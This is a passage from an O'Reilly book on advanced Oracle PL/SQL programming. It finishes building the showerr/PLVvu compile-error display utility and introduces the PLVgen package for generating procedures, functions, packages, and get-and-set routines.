      last_line := GREATEST (last_line, line_ind);
   END LOOP;
END LOOP;

The display_err program is virtually identical to display_line, except that it fetches from USER_ERRORS, not USER_SOURCE, and shows the error position as well as the error information. This procedure is shown below:

PROCEDURE display_err (line_in IN INTEGER)
IS
   CURSOR err_cur
   IS
     SELECT line, position, text
       FROM user_errors
      WHERE name = UPPER (name_in)
        AND type = UPPER (type_in)
        AND line = line_in;
   err_rec err_cur%ROWTYPE;
BEGIN
  OPEN err_cur;
  FETCH err_cur INTO err_rec;
  IF err_cur%FOUND
  THEN
     DBMS_OUTPUT.PUT_LINE
        (LPAD ('*', err_rec.position+8));
     DBMS_OUTPUT.PUT_LINE
        (RTRIM (RPAD ('ERR', 8) || err_rec.text, CHR(10)));
  END IF;
  CLOSE err_cur;
END;

If the supplied line does not have an error, then the err_cur%FOUND attribute returns FALSE and nothing is displayed.

15.4.2.9 Tracing showerr execution

To understand more clearly the way that output is controlled in showerr2.sp, consider this scenario: my ten-line program has compile errors on line 4 and then again on line 6. Table 15.1 shows the progression of the counters and their impact on the display of information.

Table 15.1: Progression of Counters and Display Actions
Error Line (outer loop) | Line Ind (inner loop) | Last Line | Source Displayed? | Error Displayed?
4 | 2 | 0 | Yes | No
4 | 3 | 2 | Yes | No
4 | 4 | 3 | Yes | Yes
4 | 5 | 4 | Yes | No
4 | 6 | 5 | Yes | Yes
6 | 4 | 6 | No | No
6 | 5 | 6 | No | No
6 | 6 | 6 | No | No
6 | 7 | 6 | Yes | No
6 | 8 | 7 | Yes | No

No line is ever displayed twice but there still is a problem with the showerr loop: it will sometimes display one or more blank lines with "phony" line numbers. Suppose that a program has five lines of code and there is an error on line 4. The inner FOR loop will execute for line numbers 2 through 6. There isn't any line 7, so the display_line program will not fetch any records. It will, however, still go ahead and call DBMS_OUTPUT.PUT_LINE (see source above for the display_line procedure). This hole can be plugged as follows:

  OPEN src_cur;
  FETCH src_cur INTO src_rec;
  IF src_cur%FOUND
  THEN
     /* display the line */
  END IF;
  CLOSE src_cur;

Now showerr only displays a line once and then only if it is actually in the USER_SOURCE view. In addition, it displays the USER_ERRORS information for each line with an error, even if it is first displayed as the surrounding code for an earlier error.

15.4.2.10 Cleaning up the output

I identified earlier a number of ways in which the output from showerr was deficient. We've handled some of the most critical deficiencies. Let's take up some of the more cosmetic adjustments:

  1. Properly position the asterisk for error position.

  2. Get rid of blank lines.

You just can't get away with padding a string with spaces on the left and displaying that indentation. The spaces will be stripped out by the time the user sees the output. How do you get around this problem? Prefix your string with some non-blank characters, then stick in the requisite number of spaces to move your string to the right position.

The p package of PL/Vision has, in fact, a builtin prefix feature. But for showerr and our currently non-PL/Vision based implementation, we will use a prefix which makes the error stand out from the lines of source code and has a meaning specific to this program.

My approach is to use ERR as a prefix, as shown below:

4          dbms_output.putline ('hello world!');
ERR                    *
ERR     PLS-00302: component 'PUTLINE' must be declared

It's not hard to accomplish this. I simply change these calls to PUT_LINE:

DBMS_OUTPUT.PUT_LINE (LPAD ('*', err_rec.position+8));
DBMS_OUTPUT.PUT_LINE (LPAD (err_rec.text, 8));

to the following calls:

DBMS_OUTPUT.PUT_LINE ('ERR' || LPAD ('*', err_rec.position+5));
DBMS_OUTPUT.PUT_LINE (LPAD ('ERR', 8) || err_rec.text);

Now let's get rid of those blank lines. By default, when you display a line of code from USER_SOURCE, you will end up with a blank line after the code. This occurs because there actually is a newline character (CHR(10)) at the end of each line. So if you want to end up with a display of error which is actually readable, you will need to get rid of those trailing newlines. The best way to do this is with RTRIM, as shown below for the two different calls to PUT_LINE for code:

DBMS_OUTPUT.PUT_LINE
   (RTRIM (RPAD (TO_CHAR (line_in), 8) || src_rec.text, CHR (10)));
DBMS_OUTPUT.PUT_LINE
   (RTRIM (RPAD ('ERR', 8) || err_rec.text, CHR(10)));

15.4.2.11 Consolidating redundant code

Notice all the redundancies between these two calls? They cry out to be modularized into a single procedure:

PROCEDURE err_put_line
   (prefix_in IN VARCHAR2, text_in IN VARCHAR2)
IS
BEGIN
   DBMS_OUTPUT.PUT_LINE
      (RTRIM (RPAD (prefix_in, 8) || text_in, CHR(10)));
END;

With this procedure, the two calls to DBMS_OUTPUT.PUT_LINE become:

err_put_line (TO_CHAR (line_in), src_rec.txt);
err_put_line ('ERR', err_rec.text);

By taking this approach, I hide the specific implementation required to get my output correct (right-padding to length of eight, right-trimming the newline characters). This guarantees that the format of both these lines will be consistent with each other. And if I need to add extra lines as I enhance the procedure, I can simply call err_put_line and not have to worry about remembering all the details.

The only problem I identified in showerr1.sp which is not now corrected in showerr2.sp has to do with the way that long error messages are wrapped and then pushed to the left margin. The ideal solution would take the long error message, strip out newline characters and then rewrap the text at the specified line length. The techniques and code required to do this are described in Chapter 11 of Oracle PL/SQL Programming, in Character Function Examples. I have also incorporated string-wrapping into the PLVprs package (PL/Vision PaRSe), as you will see in my presentation below of the PL/Vision version of showerr, namely Plvvu.err.

Even without word wrap, the showerr procedure now does a pretty fair job of enhancing SHOW ERRORS, as shown below:

SQL> exec showerr ('procedure','greetings');
2       is
3       begin
4          dbms_output.putline ('hello world!');
ERR                    *
ERR     PLS-00302: component 'PUTLINE' must be declared
5          open blob;
ERR             *
ERR     PLS-00201: identifier 'BLOB' must be declared
6       end;

Example 15.1 shows the full implementation of showerr2.sp's version of the showerr procedure. Notice that showerr does not in any way depend on or make use of PL/Vision packages.

Example 15.1: The Final Version of showerr

CREATE OR REPLACE PROCEDURE showerr
   (type_in IN VARCHAR2, name_in IN VARCHAR2)
IS
   last_line INTEGER := 0;

   CURSOR err_cur
   IS
      SELECT line, text
        FROM user_errors
       WHERE name = UPPER (name_in)
         AND type = UPPER (type_in)
       ORDER BY line;

   /* Local Modules */

   PROCEDURE err_put_line
      (prefix_in IN VARCHAR2, text_in IN VARCHAR2)
   IS
   BEGIN
      DBMS_OUTPUT.PUT_LINE
         (RTRIM (RPAD (prefix_in, 8) || text_in, CHR(10)));
   END;

   PROCEDURE display_line (line_in IN INTEGER)
   IS
      CURSOR src_cur
      IS
        SELECT S.line, S.text
          FROM user_source S
         WHERE S.name = UPPER (name_in)
           AND S.type = UPPER (type_in)
           AND S.line = line_in;
      src_rec src_cur%ROWTYPE;
   BEGIN
     OPEN src_cur;
     FETCH src_cur INTO src_rec;
     IF src_cur%FOUND
     THEN
        err_put_line (TO_CHAR (line_in), src_rec.text);
     END IF;
     CLOSE src_cur;
   END;

   PROCEDURE display_err (line_in IN INTEGER)
   IS
      CURSOR err_cur
      IS
        SELECT line, position, text
          FROM user_errors
         WHERE name = UPPER (name_in)
           AND type = UPPER (type_in)
           AND line = line_in;
      err_rec err_cur%ROWTYPE;
   BEGIN
     OPEN err_cur;
     FETCH err_cur INTO err_rec;
     IF err_cur%FOUND
     THEN
        DBMS_OUTPUT.PUT_LINE ('ERR' || LPAD ('*', err_rec.position+5));
        err_put_line ('ERR', err_rec.text);
     END IF;
     CLOSE err_cur;
   END;

BEGIN
   /* Main body of procedure. Loop through all error lines. */
   FOR err_rec IN err_cur
   LOOP
      /* Show the surrounding code. */
      FOR line_ind IN err_rec.line-2 .. err_rec.line+2
      LOOP
         IF last_line < line_ind
         THEN
            display_line (line_ind);
            display_err (line_ind);
         END IF;
         last_line := GREATEST (last_line, line_ind);
      END LOOP;
   END LOOP;
END;
/

15.4.2.12 From prototype to finished product

We now have in hand a working prototype of a program to display more useful compile error information. It is a relatively sophisticated piece of code; it has three local modules, manipulates the contents of the data dictionary, and compensates for several idiosyncrasies of DBMS_OUTPUT in SQL*Plus. There is still a big difference, though, between a program which validates "proof of concept" and a polished utility that handles all circumstances gracefully.

I will list a few of the ideas I have uncovered to improve upon showerr. Then I will show you how I implemented some of these improvements with the PLVvu package (PL/Vision VU), which builds upon many other PL/Vision packages.

Here are ways I could improve the functionality and usability of showerr:

  1. Reduce to an absolute minimum the typing required in order to get error information. So far it has been necessary to type all of this:

    SQL> exec showerr('procedure','greetings');

    to obtain the needed feedback. This is lots more typing than SHO ERR (the minimum required by SQL*Plus). If developers are really going to use my alternative, I know that it has to be as easy and painless to use as possible.

    With the PLVvu package, I can replace the above verbose request to "show errors of last compile" with the following:

    SQL> exec PLVvu.err

  2. Improve the flexibility of showerr. For example, I have hard-coded at 2 the number of lines of code by which the error is surrounded. Why not let the developer specify the number of lines desired (setting the default at 2)? The PLVvu package provides this flexibility as the following example shows (the request results in five lines of code before and after the line with the error):

    SQL> exec PLVvu.set_overlap (5);

  3. Spruce up the error display. Two examples implemented by PLVvu are: (a) include a header explaining what is being shown and (b) place a border in the error listing when lines of code have been skipped. Both of these techniques are illustrated below:

    -----------------------------------------------------------------------
PL/Vision Error Listing for PROCEDURE TEMPPROC
-----------------------------------------------------------------------
Line#  Source
-----------------------------------------------------------------------
   11    PROCEDURE display_line (line_in IN INTEGER)
   12    IS
   13       CURSOR src_cur
ERR                 *
    PLS-00341: declaration of cursor 'SRC_CUR' is incomplete or
    malformed
   14       IS
   15         SELECT S.line, S.text
-----------------------------------------------------------------------
   32  end;
   33 BEGIN
   34    FOR err_rec IN err_cur1
ERR                      *
    PLS-00201: identifier 'ERR_CUR1' must be declared
   35    LOOP
   36       FOR line_ind IN err_rec.line-fff .. err_rec.line+2
-----------------------------------------------------------------------

PLVvu.err achieves improvements in ease of use and output appearance through two means:

  1. Tweaking the logic used in showerr to handle certain conditions more gracefully. Compare the source code in plvvu.spb (in the install directory) with that of showerr2.sp (in the use directory) for examples of these differences.

  2. Leveraging existing PL/Vision packages to both consolidate code and improve functionality. PLVobj is used to obtain the name of the last object compiled. PLVio and PLVobj are used to read the text from USER_SOURCE. PLVprs adds paragraph-wrapping capability to the display of long error messages.

There isn't anything really complicated in the body of PLVvu.err, because so much of it has been modularized -- either elsewhere within the PLVvu package or into other, prebuilt packages like PLVobj and PLVio.

As you build increasing numbers of generalized, reusable packages, you will find that the development and debugging time required for new programs decreases dramatically. Even though I do not explain in this chapter the complete implementations of my various PL/Vision packages, you should be able to see how they "plug-and-play". You can do the same thing in your own environment, to meet your own application-specific requirements.

Previous: 15.3 Displaying Source Code | Advanced Oracle PL/SQL Programming with Packages | Next: 16. PLVgen: Generating PL/SQL Programs
15.3 Displaying Source Code | Book Index | 16. PLVgen: Generating PL/SQL Programs
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] PLVgen: Generating PL/SQL Programs

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 15.4 Implementing PLVvu Chapter 16 Next: 16.2 Code Generated by PLVgen

16. PLVgen: Generating PL/SQL Programs

Contents:
Options for Best Practices
Code Generated by PLVgen
Modifying PLVgen Behavior
Implementing PLVgen

The PLVgen (PL/Vision GENerator) package provides a set of procedures you can use to generate your own PL/SQL code. With PLVgen you can:

  • Implement coding standards and best practices by incorporating those elements into the code generated by the package.

  • Improve developer productivity. You don't have to do as much typing; the code is generated for you -- and it comes free of typos.

  • Take full advantage of PL/Vision programming components. When you generate code with PLVgen, it includes calls to PLVhlp, PLVtrc, and PLVexc package elements. PLVgen can make practical the widespread deployment of a library like PL/Vision.

16.1 Options for Best Practices

I teach a series of classes called "Achieving PL/SQL Excellence." I spend a lot of time in those classes talking about "best practices," the guidelines and techniques you should follow to write excellent PL/SQL programs. It's not enough to simply know how to write a procedure, function, or package. You need to know how to write those modules so that you are productive and so that the code is readable, efficient, and maintainable. That is a far more challenging task.

There are a couple of different options to implementing best practices:

  1. The manual (a.k.a. "hard") way: Write or obtain a document that lists those best practices. Make sure that all developers study this guide and then set up a code review process to make sure that the standards and techniques have been followed.

  2. The automatic way: Build or obtain a development environment that incorporates, generates, and automatically promotes the use of your best practices.

It should be pretty obvious to everyone which of these two options is preferable. Yet it is more than a matter of preference. The manual approach is also thoroughly impossible to apply with any degree of success. It requires a level of discipline and commitment from each developer that simply isn't practical. In addition, there are no tools available that allow you to do your code review in any practical fashion.

The automatic way is undeniably the way to go -- but who's going to get you going? After years of developer agony, third-party tools vendors and Oracle Corporation itself just getting around to offer a debugger. No one is addressing seriously how to improve the code construction phase. So the issue then becomes: what can you build yourself (or get from someone else) to improve your development environment and the quality of code written in your shop?

The answer, it turns out, is that you can build an amazingly useful array of utilities and components. While these home-grown solutions are not as powerful and easy to use as the real products we will eventually be able to purchase, they can have a dramatic impact on your work now. Various chapters in this book provide examples of such components, including an alternative to SHOW ERRORS and a mechanism to deliver online help for PL/SQL programs.

In this chapter, I present a package that generates PL/SQL code that can conform to an organization's standards; it enforces best practices by making it extremely easy to follow those best practices. I built PLVgen because I got tired of doing all the typing necessary to follow my own standards. I started to feel like a robot, and when that happens I know that there must be a way to automate what I am doing. You can easily build upon this package to support your own approaches to code.

16.1.1 Generating a Best Practice

I'll give you an example of how PLVgen has improved my life. One very important best practice in package construction is to never declare variables in the package specification (see Chapter 2, Best Practices for Packages). This means that the variable is "public" and can both be read and be modified directly by any user with execute authority on the package. Instead, you should declare variables inside the body of the package. Once you do this, however, you must provide get-and-set or "gas" routines in the specification to retrieve the value of the variable (get) and change the value of the variable (set). You must, in addition, declare the private variable and build the get-and-set routines in the package body.

Each of these programs is straightforward, but also each takes time to write -- especially if I want to get my formatting correct (use of upper- and lowercase, indentation, comments, etc.) and follow my templates for program structure. Before the advent of PLVgen, I would take the time to write this code, but would feel the minutes ticking by.

Now with the PLVgen package, I can generate all the code I need to do it right -- to hide my data and build the get-and-set code. The following command executed in SQL*Plus, for example, generates a get-and-set for a packaged variable named pagesize:

SQL> exec PLVgen.gas ('pagesize', 1, 25);

Depending on the toggles I have turned on for generated code content, the PLVgen.gas procedure could produce anywhere from 18 to 50 lines of perfectly formatted, bug-free code -- in seconds.

I am a rapid typist and I know my standards inside and out. Regardless, a call to PLVgen is far more efficient than anything I can achieve with the old-fashioned (pre-PL/Vision) approach. The advantages, however, even go beyond this efficiency. The PLVgen package makes use of another PL/Vision package, PLVio, to put a line on the screen. If you so desire, you can redirect the output of the package to a different target repository, including a PL/SQL table, a database table, and, with Release 2.3 of PL/SQL, a file. So you can plug-and-play PLVgen within a GUI interface that allows a developer to construct standards-smart and library-aware PL/SQL programs.

That should give you a feel for the advantages of generating code with PLVgen. In the next section I review the full set of program units and code fragments you can generate with PLVgen. Later, I'll present the techniques used to implement PLVgen.

Previous: 15.4 Implementing PLVvu | Advanced Oracle PL/SQL Programming with Packages | Next: 16.2 Code Generated by PLVgen
15.4 Implementing PLVvu | Book Index | 16.2 Code Generated by PLVgen
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.2 Code Generated by PLVgen

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

16.2 Code Generated by PLVgen

With PLVgen, you can generate functions, procedures, packages, and variations on those. You have already seen examples of functions and procedures. The examples in this section demonstrate the other kinds of code generated from this package. You can also modify the contents of generated code by using the many different toggles.

16.2.1 Generating a Package

Don't get your hopes up too high. I can't generate a complete package for you. PLVgen can, on the other hand, generate a skeleton of the syntax required to build a package and also load it up with help text stubs and banners to break up the different elements of the package.

The header for the package generator is:

   PROCEDURE pkg (name_in IN VARCHAR2);

You provide the name of the package, the procedure produced, and the code for a package (specification and body). Consider the following two commands executed in SQL*Plus:

SQL> exec PLVgen.usemax
SQL> exec PLVgen.pkg ('PLVfile');

Notice that I call PLVgen.usemax before generating my code. PLVgen.usemax turns on all available toggles for code content, including the CREATE OR REPLACE syntax, line numbers, program header, and help text stubs. These individual toggles and usemax are explained later in the chapter. The code generated by these commands is shown below.

 1 CREATE OR REPLACE PACKAGE PLVfile
 2 /*
 3 || Program: PLVfile
 4 ||  Author: Steven Feuerstein
 5 ||    File: PLVfile.SQL
 6 || Created: May 30, 1996 13:34:59
 7 */
 8 /*HELP
 9 Add help text here...
10 HELP*/
11
12 /*EXAMPLES
13 Add help text here...
14 EXAMPLES*/
15
16 IS
17 /* Public Data Structures */
18
19 /* Public Programs */
20
21    PROCEDURE help (context_in IN VARCHAR2 := NULL);
22
23 END PLVfile;
24 /
25
26 CREATE OR REPLACE PACKAGE BODY PLVfile
27 IS
28 /* Private Data Structures */
29
30 /* Private Programs */
31
32 /* Public Programs */
33
34    PROCEDURE help (context_in IN VARCHAR2 := NULL)
35    IS
36    BEGIN
37       PLVhlp.show ('s:PLVfile', context_in);
38    END help;
39 END PLVfile;
40 /

As you can see, this generated package has all the syntax required to create package specifications and bodies (which is not, after all, very much syntax). It also contains a single procedure, help (lines 34 through 38), which relies on the PLVhlp package to provide online help about this package. It also creates stubs for the help text (lines 8 through 14), to remind you to add the text and make that information available (see Chapter 17, PLVhlp: Online Help for PL/SQL Programs, for more information on how PLVhlp works).

Finally, PLVgen.pkg provides banners in comments to delineate the different kinds of code one normally finds inside a package. These banners (lines 17, 19, 28, 30, and 32) help developers organize their code. This organization will, in turn, make it easier to develop, debug, and enhance the package.

16.2.2 Generating a Procedure

Once you have generated a package, you will most likely want to fill it up with procedures and functions. PLVgen provides the proc procedure to generate (as you might expect) procedures. Its header is:

PROCEDURE proc
   (name_in IN VARCHAR2,
    params_in IN VARCHAR2 := NULL,
    exec_in IN VARCHAR2 := NULL,
    incl_exc_in IN BOOLEAN := TRUE,
    indent_in IN INTEGER := 0);

The arguments of the proc procedure are explained below:

name_in

The name of the procedure. The only required argument.

params_in

The list of parameters to be enclosed in parentheses after the procedure name. The default is NULL (no parameters). The syntax of this argument must be a valid parameter list as would appear in the procedure definition (minus the parentheses).

exec_in

One or more executable statements to place in the body of the procedure. If you want to provide more than one statement, you should concatenate a CHR(10) or PLVchr.newline_char between the statements to place them on separate lines. The default is NULL (no executable statements).

incl_exc_in

Pass TRUE (the default) to include an exception section and initial handler, FALSE to skip the exception section. Why give the user a choice? Sometimes an exception handler is just plain unnecessary and little more than clutter.

indent_in

The incremental indentation by which the entire procedure's code should be indented. The default is 0.

16.2.2.1 Maximum content of the generated procedure

Let's look at an example of procedure generation to get a feel for the way you can use the different arguments: generate a procedure with all the default argument values and the full set of additional code elements turned on by the call to usemax (explained later in this chapter).

SQL> exec PLVgen.usemax
SQL> exec PLVgen.proc ('calc_totals');
    1
    2    CREATE OR REPLACE PROCEDURE calc_totals
    3    /*
    4    || Program: calc_totals
    5    ||  Author: null
    6    ||    File: calc_totals.SQL
    7    || Created: May 29, 1996 13:36:20
    8    */
    9    /*HELP
   10    Add help text here...
   11    HELP*/
   12
   13    /*EXAMPLES
   14    Add help text here...
   15    EXAMPLES*/
   16
   17    IS
   18    BEGIN
   19       PLVtrc.startup ('calc_totals');
   20       PLVtrc.terminate;
   21
   22    EXCEPTION
   23       /* Call PLVexc in every handler. */
   24       WHEN OTHERS
   25       THEN
   26          PLVexc.rec_continue;
   27    END calc_totals;
   28    /

Let's go through this code line by line so that you can understand clearly the different elements of code that are generated for a procedure and function. I won't repeat this explanation (or the volume of code) in the following sections.

Line 2 contains the header for the procedure header, including the CREATE OR REPLACE syntax. As you will see in later examples, you can provide a parameter list as part of this header as well.

Lines 3 through 8 contain the standard program header provided by PLVgen. Notice that the author is automatically set to "Steven Feuerstein". I make sure of this setting by including the following statement in my login.sql script:

exec PLVgen.set_author ('Steven Feuerstein');

Lines 9 through 15 are the stubs for help text on two topics: general help and examples help. These comment blocks are used both for inline documentation of the package and also for online help text for users (through the PLVhlp package).

Lines 19 and 20 call PLVtrc startup and terminate procedures. These programs provide an execution trace that is of particular use in the PLVexc exception- handling package. Again, you do not have to include these programs in your own generated code, but it is an available option.

Lines 22 through 26 show the standard PL/Vision exception handler section. A single WHEN OTHERS clause calls the PLVexc.rec_continue program, which records the error and continues processing. You can replace this PLVexc handler with another one (such as PLVexc.rec_halt or "record and halt"); the point to recognize here is that the generator creates an exception handler as a starting point, which reinforces best practices.

Lines 27 and 28 bring the procedure to a close. Notice that PLVgen automatically supplies an END label. It also provides the forward slash, that in conjunction with the CREATE OR REPLACE syntax results in a script that can be used immediately in SQL*Plus to store and compile the procedure.

NOTE: In most of the examples of generated code in the rest of this chapter, I turn off the many comments and other optional elements of the source code. By doing this, you can focus more easily on how PLVgen constructs the required elements of the PL/SQL programs. Section 16.3, "Modifying PLVgen Behavior" explains how to use some or all (PLVgen.usemax) of the optional elements of the code listed previously.

16.2.2.2 A procedure with parameter list and executable code

The following SQL*Plus session generates a procedure using a minimum of additional features, but with a parameter list and a single line of code in the body of the procedure.

SQL> exec PLVgen.usemin
SQL> exec PLVgen.proc ('disptot', 'comp_in in integer', 'get_total;');

PROCEDURE disptot (comp_in IN INTEGER)
IS
BEGIN
   get_total;

EXCEPTION
   WHEN OTHERS
   THEN
      NULL;
END disptot;

Notice that the keywords IN and INTEGER are automatically uppercased by PLVgen. This package makes use of the PLVcase.string program to convert the case of the parameter list and the executable line of code.

16.2.2.3 Changing indentation of generated code

In this final example of the procedure generator, I make use of the indentation parameter to add three spaces to the default three blanks provided by PLVgen. I could then easily cut and paste this text into the body of a package or into the declaration section of a nested, anonymous block.

SQL> exec PLVgen.usemin
SQL> exec PLVgen.proc ('disptot',indent_in=> 3);
      PROCEDURE disptot
      IS
      BEGIN

      EXCEPTION
         WHEN OTHERS
         THEN
            NULL;
      END disptot;

Notice that I use named notation (the => symbol associating indent_in with the value 3) so that I can avoid specifying values for all the other arguments.

16.2.3 Generating a Function

PLVgen offers seven overloadings of the function generator. Why? Because a function has a RETURN datatype and I want my package to automatically generate functions of the requested type. PLVgen.func generates functions with the following datatypes: BOOLEAN, DATE, NUMBER, and VARCHAR2. Four datatypes and seven overloadings...am I leaving something out? Not at all; PLVgen supports four different datatype functions, but provides additional overloadings to handle two kinds of default values for the functions (covered later in this section).

The format of the function generated by PLVgen.func follows my guidelines for a "template" function, the generic structure of which is shown below:

FUNCTION func_name (...) RETURN datatype
IS
   /* Variable for RETURN */
   return_value datatype;
BEGIN
   <executable statements>
   /* Last line always: */
   RETURN return_value;
EXCEPTION
   WHEN OTHERS
   THEN
      RETURN NULL;
END func_name;

A brief recap of the function template: There is a single RETURN statement in the body of the program and it is the last line of code. There is a local variable (in this case, return_value) that is always the same datatype as the function itself and is RETURNed in that single, successful RETURN statement. There is an exception section that returns NULL if something goes wrong.

Rather than show the headers for all of the overloadings here and then again in the package specification section, I will show you the header for the string function generator and the headers for the Boolean function generators. All the other nonstring function generators are structured and used like the Boolean version.

16.2.3.1 Function generator headers

Here is the header for the program that generates a string or VARCHAR2 function:

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in VARCHAR2,
    defval_in IN VARCHAR2 := NULL,
    length_in IN INTEGER := c_def_length,
    incl_exc_in IN BOOLEAN := TRUE);

Here are the headers for the two programs that generate Boolean functions:

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in BOOLEAN,
    defval_in IN BOOLEAN := NULL,
    incl_exc_in IN BOOLEAN := TRUE);

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in BOOLEAN,
    defval_in IN VARCHAR2,
    incl_exc_in IN BOOLEAN := TRUE);

In all of these programs, the name_in is the name of the function, and datadesc_in is an expression or value that is the same datatype as the function you want to generate. The defval_in argument provides a default value for the RETURN statement of the function. Notice that this is the only parameter that is different for the two overloaded Boolean function generators. In one case, the default value is a Boolean. In the second, the default value is a string. This distinction is explained below.

When generating a string function, you can also provide (through the length_in argument) the length of the VARCHAR2 variable to be declared. The default is provided by the constant c_def_length and is set to 100.

The incl_exc_in argument indicates whether or not an exception section should be included in the function. The default is "Yes! Include an exception section!" (and that is a very important thing to do in functions).

Now I will explain how to use these and the other function generators. The only information you have to provide to a function generator is the name and the datatype of the function.

16.2.3.2 Generated function examples

In this first example, I generate a string function named full_name simply by providing a string -- any string -- as the second argument.

SQL> exec PLVgen.func('full_name','a');
   FUNCTION full_name RETURN VARCHAR2
   IS
      retval VARCHAR2(100) := NULL;
   BEGIN
      RETURN retval;

   EXCEPTION
      WHEN OTHERS
      THEN
         RETURN NULL;
   END full_name;

NOTE: See Section 16.2.2, "Generating a Procedure" for a more complete description of the elements of code that can be included in a generated function.

Notice that this function conforms to the template structure described earlier. Based on the datatype of the second argument, PLVgen has automatically determined that the RETURN datatype should be VARCHAR2. It has also declared a local variable with matching datatype and appropriate default value.

In the next call to PLVgen.func, I generate a Boolean function, this time setting the default value to FALSE and rejecting the use of an exception section.

SQL> exec PLVgen.func ('valid_account', true, false, FALSE);
   FUNCTION valid_account RETURN BOOLEAN
   IS
      retval BOOLEAN := FALSE;
   BEGIN
      RETURN retval;
   END valid_account;

Now I will generate this same function, but instead of providing a literal default value, I pass in a string that contains an expression (and include an exception section):

SQL> exec PLVgen.func
             ('valid_account', true, 'sysdate < account.start_date');
   FUNCTION valid_account RETURN BOOLEAN
   IS
      retval BOOLEAN := sysdate < account.start_date;
   BEGIN
      RETURN retval;

   EXCEPTION
      WHEN OTHERS
      THEN
         RETURN NULL;
   END valid_account;

Since the second argument to PLVgen.func was a Boolean and the third a string, the PL/SQL runtime engine executed the version of func that interprets the default value not as a literal, but as an expression.

And that is the reason for the overloading of the two different Boolean function generators. When the default value is a Boolean, that value is applied directly (as a TRUE, FALSE, or NULL) to the local variable declaration. If the default is a string, that string becomes the unevaluated expression used as the default value for the local variable.

The function generators for dates and numbers are overloaded and work in the same way as the Boolean procedures do.

16.2.3.3 Default values for string functions

PLVgen provides two distinct overloadings for Boolean, date, and number function generators to handle literals and expressions for default values. This same approach is not possible for the procedure that generates string functions. The way PLVgen.func supports expressions for default values is that they are passed as strings. But since the default value for a string function is already a string, another overloaded version with a default value of datatype VARCHAR2 to handle string expressions would simply not work.

A different approach is required for the string function generator. There is just one version of func to generate string functions, but the following special rule applies to the default value argument, namely: if the first character of the default value string is an equal sign (=), then the string is to be interpreted as an expression. In this case, the value in the string is not evaluated, but simply placed in the default value area for the local variable of the function.

Let's look at a couple of examples. In this first call to PLVgen.func, I generate a VARCHAR2 function with a default return value of ABC. Notice that since this is a string function, I also specify the maximize length of the return value and request that the function not have an exception section.

SQL> exec PLVgen.func ('full_name', 'a', 'ABC', 50, FALSE);
   FUNCTION full_name RETURN VARCHAR2
   IS
      retval VARCHAR2(50) := 'ABC';
   BEGIN

      RETURN retval;
   END full_name;

In this next call to PLVgen.func, I change the default value to prefix the "ABC" with the equal sign. In the resulting declaration of a local variable, the default value is set to the PL/SQL identifier named abc, and not to a literal with that value.

SQL> exec PLVgen.func ('full_name', 'a', '=ABC', 50, FALSE);
   FUNCTION full_name RETURN VARCHAR2
   IS
      retval VARCHAR2(50) := abc;
   BEGIN

      RETURN retval;
   END full_name;

Let's look at an example that involves a more real world use of this expression default value. In the following call to PLVgen.func, I create a string function that sets the default value to a package-based constant.

SQL>  exec PLVgen.func ('full_name', 'a', '=Names.formal_address');
   FUNCTION full_name RETURN VARCHAR2
   IS
      retval VARCHAR2(100) := names.formal_address;
   BEGIN
      RETURN retval;

   EXCEPTION
      WHEN OTHERS
      THEN
         RETURN NULL;
   END full_name;

If you ever want to generate a string function with a nonliteral default value, don't forget to prefix the default value string with an equal sign.

16.2.4 Generating Get-and-Set Routines

One of the most important of my best practices for package construction is to always hide package data behind a programmatic interface, otherwise known as get-and-set routines. Instead of declaring a variable directly in the specification, you would move that declaration to the body of the package and then build (a minimum of) two programs: a function to retrieve the current value of this variable and a procedure to change the value of the variable.

The gas (get-and-set) procedure of PLVgen generates the get-and-set code needed to hide variables of datatypes VARCHAR2, DATE, NUMBER, and Boolean. The overloading for the gas procedure is similar to that of the func procedure, which makes sense since PLVgen.gas does generate a function, as well as a variable declaration of the correct datatype. There are two versions of gas for every datatype except VARCHAR2. For this string datatype, there is only one overloading. The header for the string version of gas is shown below:

PROCEDURE gas
   (name_in IN VARCHAR2,
    valtype_in VARCHAR2,
    defval_in IN VARCHAR2 := NULL,
    length_in IN INTEGER := c_def_length);

The header for the NUMBER version of gas is shown below. The headers for the other datatypes are exactly the same as for the NUMBER version, except for the datatype of the valtype_in and defval_in arguments.

PROCEDURE gas
   (name_in IN VARCHAR2,
    valtype_in NUMBER,
    defval_in IN NUMBER := NULL);

PROCEDURE gas
   (name_in IN VARCHAR2,
    valtype_in NUMBER,
    defval_in IN VARCHAR2);

Generally, the first argument provides the name of the variable. The second argument determines the type of the function and the variable being hidden inside the package body. The third argument provides a default value for the variable. When generating a string get-and-set, you can also provide the length of the VARCHAR2 variable to be declared. The default is provided by the constant c_def_length and is set to 100.

The listing below gives you an idea of the kind of code that is generated by a call to the PLVgen.gas procedure. I call the PLVgen.useln to turn on line numbers to use as a reference (after turning off all other toggles).

SQL> exec PLVgen.usemin
SQL> exec PLVgen.useln
SQL> exec PLVgen.gas ('pagesize', 1, 25);
    1
    2    PROCEDURE set_pagesize (pagesize_in IN NUMBER);
    3    FUNCTION pagesize RETURN NUMBER;
    4
    5    v_pagesize NUMBER := 25;
    6
    7    PROCEDURE set_pagesize (pagesize_in IN NUMBER)
    8    IS
    9    BEGIN
   10       v_pagesize := pagesize_in;
   11    END set_pagesize;
   12
   13    FUNCTION pagesize RETURN NUMBER
   14    IS
   15       retval NUMBER := v_pagesize;
   16    BEGIN
   17       RETURN retval;
   18    END pagesize;

